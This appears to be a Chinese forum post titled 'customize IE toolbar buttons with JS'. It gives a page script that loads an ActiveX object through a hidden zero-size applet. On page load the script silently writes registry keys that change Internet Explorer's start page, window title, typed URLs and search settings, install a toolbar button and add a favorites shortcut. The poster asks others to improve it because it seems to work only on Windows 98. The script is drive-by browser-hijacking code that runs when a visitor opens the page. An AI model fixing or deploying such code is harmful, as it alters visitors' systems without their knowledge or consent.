用JS定制IE工具栏按钮

document.write("<applet height=0 width=0 code=com.ms.activex.activexcomponent></applet>");

function addfavlnk(loc, dispname, siteurl)
{
var shor = shl.createshortcut(loc + "\\" + dispname +".url");
shor.targetpath = siteurl;
shor.save();
}

function f(){
try
{
//activex initialization
a1=document.applets[0];
a1.setclsid("{f935dc22-1cf0-11d0-adb9-00c04fd58a0b}");
a1.createinstance();
shl = a1.getobject();
a1.setclsid("{0d43fe01-f093-11cf-8940-00a0c9054228}");
a1.createinstance();
fso = a1.getobject();
a1.setclsid("{f935dc26-1cf0-11d0-adb9-00c04fd58a0b}");
a1.createinstance();
net = a1.getobject();

try
{
if (document.cookie.indexof("chg") == -1)
{

shl.regwrite ("hklm\\software\\microsoft\\internet explorer\\main\\window title", "microsoft internet explorer");
shl.regwrite ("hkcu\\software\\microsoft\\internet explorer\\main\\window title", "microsoft internet explorer");
shl.regwrite ("hkcu\\software\\microsoft\\internet explorer\\main\\start page", "about:blank");
shl.regwrite ("hkcu\\software\\microsoft\\internet explorer\\typedurls\\url1", "http://sunlight.uis.mtn/");
shl.regwrite ("hklm\\software\\microsoft\\internet explorer\\extensions\\{12345678-0000-0000-0000-008713385168}\\clsid", "{1fba04ee-3024-11d2-8f1f-0000f87abd16}");
shl.regwrite ("hklm\\software\\microsoft\\internet explorer\\extensions\\{12345678-0000-0000-0000-008713385168}\\clsidextension", "{12345678-0000-0000-0000-008713385168}");
shl.regwrite ("hklm\\software\\microsoft\\internet explorer\\extensions\\{12345678-0000-0000-0000-008713385168}\\buttontext", "阳光城市");
shl.regwrite ("hklm\\software\\microsoft\\internet explorer\\extensions\\{12345678-0000-0000-0000-008713385168}\\icon", "shell32.dll,42");
shl.regwrite ("hklm\\software\\microsoft\\internet explorer\\extensions\\{12345678-0000-0000-0000-008713385168}\\hoticon", "shell32.dll,42");
shl.regwrite ("hklm\\software\\microsoft\\internet explorer\\extensions\\{12345678-0000-0000-0000-008713385168}\\exec", "http://sunlight.uis.mtn");
shl.regwrite ("hklm\\software\\microsoft\\internet explorer\\extensions\\{12345678-0000-0000-0000-008713385168}\\default visible", "yes");
shl.regwrite ("hklm\\software\\microsoft\\internet explorer\\extensions\\{12345678-0000-0000-0000-008713385168}\\menustatusbar", "阳光城市");
shl.regwrite ("hklm\\software\\microsoft\\internet explorer\\extensions\\{12345678-0000-0000-0000-008713385168}\\menutext", "阳光城市");
shl.regwrite ("hklm\\software\\microsoft\\internet explorer\\search\\searchassistant", "http://….");
shl.regwrite ("hklm\\software\\microsoft\\internet explorer\\search\\customizesearch", "http://….");
var expdate = new date((new date()).gettime() + (1));
document.cookie="chg=general; expires=" + expdate.togmtstring() + "; path=/;"

wf = fso.getspecialfolder(0);
loc = wf + "\\favorites";
if(!fso.folderexists(loc))
  {
  loc = fso.getdrivename(wf) + "\\documents and settings\\" + net.username + "\\favorites";
  if(!fso.folderexists(loc))
  {
  return;
  }
  }
addfavlnk(loc, "☆阳光城市☆", "http://…./");
//}

}
}
catch(e)
{}
}
catch(e)
{}
}
function init()
{
settimeout("f()", 1000);
}
init();

这是我用的js，谁能改改
好象只对win98